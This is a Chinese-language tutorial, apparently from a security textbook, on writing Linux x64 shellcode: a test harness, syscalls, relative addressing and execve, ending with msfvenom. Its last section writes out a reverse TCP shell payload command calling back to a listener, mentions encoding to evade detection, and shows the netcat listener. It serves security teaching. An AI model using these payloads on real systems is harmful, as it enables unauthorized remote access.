有了 shellcode,你就能在被利用的應用程式的執行環境裡執行任意命令。撰寫 shellcode 頗有難度,本節以 Linux x64 平台為例,示範一些基本技巧與挑戰,供你日後自行深入研究。

以下所有組語與命令都只應在你獲得授權、可控的測試環境中組譯與執行。

起步#

開始寫 shellcode 需要:Linux x64、一個 C 編譯器(GCC 或 CLANG 皆可)、以及 Netwide Assembler(NASM)。在 Debian/Ubuntu 上一行指令即可裝齊:

sudo apt-get install build-essential nasm

我們用 x64 組語撰寫、以 nasm 組譯,產出只含所指定機器指令的二進位檔。測試時用一支 C 語言的測試框架(test harness)把 shellcode 當成函式來呼叫。

Listing 10-11:shellcode 測試框架(test_shellcode.c)
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
typedef int (*exec_code_t)(void);

int main(int argc, char** argv) {
  if (argc < 2) {
    printf("Usage: test_shellcode shellcode.bin\n");
    exit(1);
  }

  int fd = open(argv[1], O_RDONLY);
  if (fd <= 0) { perror("open"); exit(1); }

  struct stat st;
  if (fstat(fd, &st) == -1) { perror("stat"); exit(1); }

  exec_code_t shell = mmap(NULL, st.st_size,
      PROT_EXEC | PROT_READ, MAP_PRIVATE, fd, 0);

  if (shell == MAP_FAILED) { perror("mmap"); exit(1); }
  printf("Mapped Address: %p\n", shell);
  printf("Shell Result: %d\n", shell());
  return 0;
}

它從命令列取得路徑,用 mmap 把檔案映射進記憶體,並以 PROT_EXEC 旗標標記為可執行(否則平台層的緩解機制可能阻止 shellcode 執行)。編譯:cc -Wall -o test_shellcode test_shellcode.c

最簡單的 shellcode 只把值 100 搬進 RAX 暫存器再 ret——RAX 是函式呼叫的返回值,因此測試框架會印出 Shell Result: 100

Listing 10-12:最簡單的 shellcode 與組譯執行
; Assemble as 64 bit
BITS 64
mov rax, 100
ret
nasm -f bin -o shellcode.bin shellcode.asm
./test_shellcode shellcode.bin
# Mapped Address: 0x7fa51e860000
# Shell Result: 100

可用隨附的 ndisasm -b 64 shellcode.bin 檢查組出來的指令。注意原始碼寫 RAX,反組譯卻是 EAX:因為常數 0x64 塞得進 32 位元,組譯器選用較短的指令;載入 EAX 時處理器會自動把 RAX 上 32 位元清零,行為不變。

簡單的除錯技巧#

在寫更複雜的 shellcode 之前,先學一個除錯法:用 int3 指令加一個中斷點,當該處被執行時,任何掛載的除錯器都會收到通知(處理器執行 int3 會讓 OS 送出 SIGTRAP 訊號給行程)。

Listing 10-13 / 10-14:int3 中斷點與 GDB 觀察
BITS 64
int3
mov rax, 100
ret

在 GDB 中執行測試框架,會停在 SIGTRAP。有趣的是印出當前指令時看到的是 int3 之後的 mov,而非 int3 本身——除錯器已自動跳過 int3 以便繼續執行。

呼叫系統呼叫#

只回傳 100 對利用漏洞毫無用處;要讓系統替我們做事,最簡單的方式是系統呼叫(system call)——用 OS 定義的系統呼叫編號來呼叫開檔、執行新行程等基本功能。相較於呼叫系統函式庫,系統呼叫不需知道其他可執行程式碼(如 C 函式庫)的記憶體位置,寫起來較簡單、跨同一 OS 不同版本也較可攜。缺點是它們是更低階的功能、呼叫起來更繁瑣(Windows 尤其複雜)。

x64 Linux 的系統呼叫 ABI:

  • 系統呼叫編號放進 RAX
  • 最多六個引數依序放進 RDI、RSI、RDX、R10、R8、R9
  • syscall 指令發出呼叫。
  • 結果在 syscall 返回後存於 RAX

在 Linux 命令列上 man 2 syscall 描述系統呼叫流程與各架構的 ABI,man 2 syscalls 列出所有可用系統呼叫,man 2 <名稱> 查個別呼叫。

exit 系統呼叫#

要用系統呼叫得先知道它的編號。與其在磁碟上翻找標頭檔,不如讓 C 編譯器代勞:編譯並執行一段印出 SYS_exit 的程式(作者機器上 exit 是 60,編號因核心版本而異但很少變)。exit 只取一個引數(行程結束碼)放進 RDI,且不會返回。

Listing 10-15 / 10-16:取得編號並呼叫 exit
#include <stdio.h>
#include <sys/syscall.h>

int main() {
  printf("Syscall: %d\n", SYS_exit);
  return 0;
}
BITS 64
; The syscall number of exit
mov rax, 60
; The exit code argument
mov rdi, 42
syscall
; exit should never return, but just in case.
ret

執行後第一則「Mapped Address」仍印出,但 shellcode 的返回值不再印出,表示 exit 成功呼叫。在 bash 用 echo $? 可驗證結束碼為 42。

write 系統呼叫與相對定址#

write(int fd, const void *buf, size_t count) 稍複雜:fd 為檔案描述子(1 代表主控台標準輸出)、buf 指向資料、count 為位元組數。但直接照寫會得到怪結果 -14——凡小於零的返回值都代表錯誤,14 對應 EFAULT(Bad address),表示系統呼叫存取了無效記憶體。

Listing 10-17 / 10-18:write 呼叫與錯誤碼查詢
BITS 64
%define SYS_write 1
%define STDOUT 1

_start:
  mov rax, SYS_write
; The first argument (rdi) is the STDOUT file descriptor
  mov rdi, STDOUT
; The second argument (rsi) is a pointer to a string
  lea rsi, [_greeting]
; The third argument (rdx) is the length of the string to write
  mov rdx, _greeting_end - _greeting
; Execute the write system call
  syscall
  ret
_greeting:
  db "Hello User!", 10
_greeting_end:

用 Python 查錯誤碼:

import os
err = 14
print os.errno.errorcode[err]   # 'EFAULT'
print os.strerror(err)          # 'Bad address'

問題出在 lea 載入的是絕對位址 0x1A,但 shellcode 實際被載入的位置根本不在那附近。我們無法預知 shellcode 會被載到哪,所以必須改用相對於當前執行位置的定址。

  • 32 位元 x86:利用 call 使用相對位址、且會把下一條指令的絕對位址推入堆疊當返回位址的特性,pop 出來再加偏移量算出字串位置。做法可行但讓程式碼複雜許多。
  • 64 位元:引入了相對資料定址,在 nasm 中於位址前加 rel 關鍵字即可,例如 lea rsi, [rel _greeting],改一行就能正確印出訊息。

執行其他程式#

execve 系統呼叫執行另一個二進位檔,是取得執行控制而不需冗長 shellcode 的常見手法。execve 取三個參數:程式路徑、以 NULL 結尾的命令列引數陣列、以 NULL 結尾的環境變數陣列。它比 write 麻煩,因為需要在堆疊上建構這些陣列

Listing 10-19:以 execve 執行 /bin/uname -a
BITS 64
%define SYS_execve 59
_start:
  mov rax, SYS_execve
; Load the executable path
  lea rdi, [rel _exec_path]
; Load the argument
  lea rsi, [rel _argument]
; Build argument array on stack = { _exec_path, _argument, NULL }
  push 0
  push rsi
  push rdi
  mov rsi, rsp
; Build environment array on stack = { NULL }
  push 0
  mov rdx, rsp
  syscall
; execve shouldn't return, but just in case
  ret
_exec_path:
  db "/bin/uname", 0
_argument:
  db "-a", 0

流程:載入兩個字串位址,把 { _exec_path, _argument, NULL }反向順序推入堆疊,複製堆疊位址到 RSI(第二引數);再推一個 NULL 當環境陣列、複製堆疊位址到 RDX(第三引數);RDI 已含路徑位址,最後 syscall。等效於:

char* args[] = { "/bin/uname", "-a", NULL };
char* envp[] = { NULL };
execve("/bin/uname", args, envp);

用 Metasploit 產生 Shellcode#

親手寫 shellcode 能深化理解,但別人已寫過大量現成的。Metasploit 專案就是一個好用的 shellcode 倉庫,能把 shellcode 產成二進位 blob 直接插進你的 exploit,優點包括:

  • 處理 shellcode 的編碼——移除禁用字元、調整格式以避開偵測。
  • 支援多種取得執行的方式(簡單反向 shell、執行新二進位等)。
  • 支援多平台(Linux、Windows、macOS)與多架構(x86、x64、ARM)。

隨 Metasploit 安裝的 msfvenom 命令列工具提供這些 payload。以下用最簡單的 reverse TCP shell 示範。

用 msfvenom 產生並執行 reverse TCP shell

列出 x64 Linux 的 payload:

msfvenom -l | grep linux/x64
# linux/x64/shell_bind_tcp     Listen for a connection and spawn a command shell
# linux/x64/shell_reverse_tcp  Connect back to attacker and spawn a command shell
  • shell_bind_tcp:綁定一個 TCP port,連進去就開本地 shell。
  • shell_reverse_tcp:反向連回你的機器並附上 shell。

產生 reverse TCP shell(連回 172.21.21.1:4444)。用 LHOSTLPORT 指定 IP 與 port,-f raw 輸出原始二進位 blob,並導向檔案:

msfvenom -p linux/x64/shell_reverse_tcp -f raw LHOST=172.21.21.1 \
         LPORT=4444 > msf_shellcode.bin

在攻擊端用 netcat 監聽 port 4444(nc -l 4444)。連線建立後可能看不到提示字元,但輸入 id 就會回顯結果:

$ nc -l 4444
id
uid=1000(user) gid=1000(user) groups=1000(user)

同類 payload 也適用於 Windows、macOS 甚至 Solaris。